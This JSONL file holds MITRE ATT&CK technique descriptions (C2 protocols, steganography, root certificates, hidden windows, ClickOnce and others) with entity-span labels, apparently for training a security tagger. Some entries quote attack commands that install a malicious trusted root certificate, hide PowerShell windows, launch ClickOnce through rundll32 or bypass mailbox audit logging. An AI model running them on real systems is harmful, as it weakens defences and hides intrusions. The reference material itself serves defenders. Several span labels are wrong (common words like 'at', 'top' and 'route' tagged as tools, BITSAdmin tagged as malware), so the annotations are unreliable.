{"text": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host’s backdoor, regardless of network segmentation or firewall rules in place.", "spans": {"TOOL: tcpdump": [[1301, 1308]], "TOOL: netstat": [[1310, 1317]], "TOOL: Wireshark": [[1329, 1338]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1095"}}
{"text": "Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.\n\nThe Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.", "spans": {"SYSTEM: API": [[44, 47], [178, 181], [354, 357], [493, 496], [1355, 1358], [1493, 1496], [1659, 1662]], "SYSTEM: Docker": [[120, 126], [239, 245], [258, 264], [281, 287], [372, 378], [481, 487], [522, 528]], "SYSTEM: Python": [[387, 393], [431, 437], [1468, 1474]], "TOOL: curl": [[875, 879], [1675, 1679]], "TOOL: ps": [[969, 971]], "SYSTEM: Kubernetes": [[1085, 1095], [1183, 1193]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.013"}}
{"text": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\nDuqu was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server. \n\nBy the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide PowerShell commands in an image file (.png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.", "spans": {"MALWARE: Duqu": [[229, 233]], "TOOL: PowerShell": [[503, 513], [618, 628]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.003"}}
{"text": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.  Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.", "spans": {"SYSTEM: DNS": [[39, 42], [143, 146], [274, 277], [326, 329], [381, 384], [416, 419], [1075, 1078]], "SYSTEM: Access": [[537, 543]], "TOOL: at": [[1010, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.002"}}
{"text": "Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.  \n\nLeveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account. In some cases, integrations may remain valid even after the original consenting user account is disabled. Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of Application Access Tokens. Finally, they may enable persistent Automated Exfiltration over time.\n\nCreating or adding a new application may require the adversary to create a dedicated Cloud Account for the application and assign it Additional Cloud Roles – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.", "spans": {"SYSTEM: Microsoft 365": [[429, 442], [1329, 1342]], "SYSTEM: Google Workspace": [[446, 462]], "SYSTEM: Access": [[1069, 1075]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1671"}}
{"text": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.", "spans": {"SYSTEM: SSL": [[332, 335], [393, 396], [713, 716]], "SYSTEM: TLS": [[336, 339], [397, 400]], "SYSTEM: HTTP": [[684, 688]], "SYSTEM: Gmail": [[819, 824]], "SYSTEM: Google Drive": [[826, 838]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1001.003"}}
{"text": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "spans": {"SYSTEM: Windows Registry": [[34, 50]], "SYSTEM: Registry": [[135, 143], [346, 354], [499, 507]], "TOOL: Reg": [[300, 303]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1012"}}
{"text": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1030"}}
{"text": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550.004"}}
{"text": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.", "spans": {"SYSTEM: Access": [[95, 101]], "SYSTEM: Active Directory": [[195, 211]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078.002"}}
{"text": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.  \n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "spans": {"TOOL: Regsvcs": [[22, 29], [103, 110]], "TOOL: Regasm": [[34, 40], [115, 121]], "SYSTEM: Windows": [[86, 93], [126, 133]], "SYSTEM: .NET": [[183, 187]], "SYSTEM: Component Object Model": [[188, 210]], "SYSTEM: COM": [[212, 215]], "ORGANIZATION: Microsoft": [[279, 288]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.009"}}
{"text": "Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.\n\nPath configuration files are designed to extend Python’s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation. Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.\n\nAdversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).", "spans": {"SYSTEM: Python": [[50, 56], [254, 260], [328, 334], [396, 402], [493, 499], [618, 624], [710, 716], [906, 912]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.018"}}
{"text": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.", "spans": {"SYSTEM: TLS": [[458, 461], [1407, 1410]], "SYSTEM: SSL": [[462, 465], [1411, 1414]], "SYSTEM: HTTPS": [[1027, 1032]], "SYSTEM: macOS": [[1801, 1806]], "FILEPATH: /usr/bin/security": [[1839, 1856]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.004"}}
{"text": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects. These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "spans": {"TOOL: at": [[65, 67]], "SYSTEM: Active Directory": [[159, 175]], "SYSTEM: Group Policy": [[179, 191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.003"}}
{"text": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.\n\nFor attacks attempting to saturate the providing network, see Network Denial of Service.", "spans": {"SYSTEM: DNS": [[333, 336], [871, 874]], "TOOL: top": [[950, 953]], "SYSTEM: HTTP": [[2927, 2931]], "SYSTEM: JavaScript": [[2979, 2989]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499"}}
{"text": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe, csc.exe, or GCC/MinGW.\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.", "spans": {"TOOL: csc": [[346, 349]], "SYSTEM: macOS": [[607, 612]], "SYSTEM: Linux": [[613, 618]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.004"}}
{"text": "Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.", "spans": {"SYSTEM: Windows": [[478, 485]], "SYSTEM: API": [[486, 489]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1614"}}
{"text": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.", "spans": {"SYSTEM: Visual Basic": [[31, 43]], "SYSTEM: VBA": [[62, 65], [129, 132], [198, 201], [356, 359], [463, 466], [546, 549], [647, 650], [675, 678], [828, 831], [922, 925], [1059, 1062], [1167, 1170]], "SYSTEM: Office": [[95, 101], [167, 173], [424, 430], [594, 600], [1097, 1103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.007"}}
{"text": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.\n\nAdversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.", "spans": {"SYSTEM: Windows": [[99, 106]], "SYSTEM: Component Object Model": [[227, 249]], "SYSTEM: COM": [[251, 254]], "TOOL: PowerShell": [[622, 632]], "MALWARE: BITSAdmin": [[641, 650]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1197"}}
{"text": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file. MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.", "spans": {"TOOL: MSBuild": [[20, 27], [90, 97], [329, 336], [405, 412], [527, 534], [577, 584], [746, 753]], "SYSTEM: Windows": [[73, 80]], "ORGANIZATION: Microsoft": [[103, 112], [601, 610]], "SYSTEM: .NET": [[436, 440]], "SYSTEM: C#": [[462, 464]], "SYSTEM: Visual Basic": [[468, 480]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1127.001"}}
{"text": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft.\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.   \n \nImpersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity.\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1656"}}
{"text": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional Resource Hijacking without raising suspicion by using up a victim’s entire quota. Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling Unused/Unsupported Cloud Regions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.005"}}
{"text": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.  Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "spans": {"SYSTEM: HTTPS": [[174, 179], [216, 221]], "SYSTEM: TLS": [[302, 305], [486, 489], [860, 863]], "SYSTEM: HTTP": [[339, 343], [453, 457], [688, 692], [891, 895]], "TOOL: route": [[415, 420], [969, 974]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090.004"}}
{"text": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.002"}}
{"text": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.", "spans": {"SYSTEM: AWS": [[449, 452]], "SYSTEM: CloudTrail": [[489, 499]], "SYSTEM: Office 365": [[769, 779]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.008"}}
{"text": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the Cloud API to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents  may collect  metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.", "spans": {"TOOL: netsh": [[541, 546]], "TOOL: Reg": [[576, 579]], "TOOL: cmd": [[603, 606]], "TOOL: Tasklist": [[612, 620]], "SYSTEM: macOS": [[793, 798]], "SYSTEM: API": [[904, 907]], "SYSTEM: AWS": [[1000, 1003]], "SYSTEM: Azure": [[1022, 1027]], "SYSTEM: Google Cloud": [[1042, 1054]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1518.001"}}
{"text": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.  All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.", "spans": {"SYSTEM: macOS": [[502, 507]], "SYSTEM: Java": [[685, 689]], "SYSTEM: Windows": [[891, 898], [1438, 1445]], "TOOL: PowerShell": [[963, 973], [1320, 1330], [1369, 1379]], "SYSTEM: Visual Basic": [[988, 1000]], "SYSTEM: Windows Registry": [[1102, 1118]], "FILEPATH: %SystemRoot%": [[1275, 1287]], "SYSTEM: Registry": [[1336, 1344]], "SYSTEM: API": [[1477, 1480]], "TOOL: VNC": [[1656, 1659]], "TOOL: cmd.exe": [[1752, 1759]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.003"}}
{"text": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility. ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).", "spans": {"SYSTEM: Windows": [[124, 131], [211, 218]], "SYSTEM: .NET": [[225, 229], [876, 880]], "TOOL: Rundll32": [[1041, 1049]], "SYSTEM: Registry": [[1274, 1282]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1127.002"}}
{"text": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "spans": {"SYSTEM: Python": [[22, 28], [65, 71], [167, 173], [351, 357], [410, 416]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.006"}}
